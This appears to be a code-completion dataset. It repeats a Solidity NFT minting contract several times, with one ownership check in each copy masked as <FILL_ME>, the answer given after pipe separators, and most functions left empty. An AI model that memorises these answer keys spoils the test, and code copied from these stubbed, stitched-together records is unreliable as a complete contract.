// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(<FILL_ME>) // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).ownerOf(relation.id)==_msgSender(),"9a" | 412,628 | IRelation(relation.addr).ownerOf(relation.id)==_msgSender() |
"9b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| ownerOf(relation.id)==receiver,"9b" | 412,628 | ownerOf(relation.id)==receiver |
"9b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
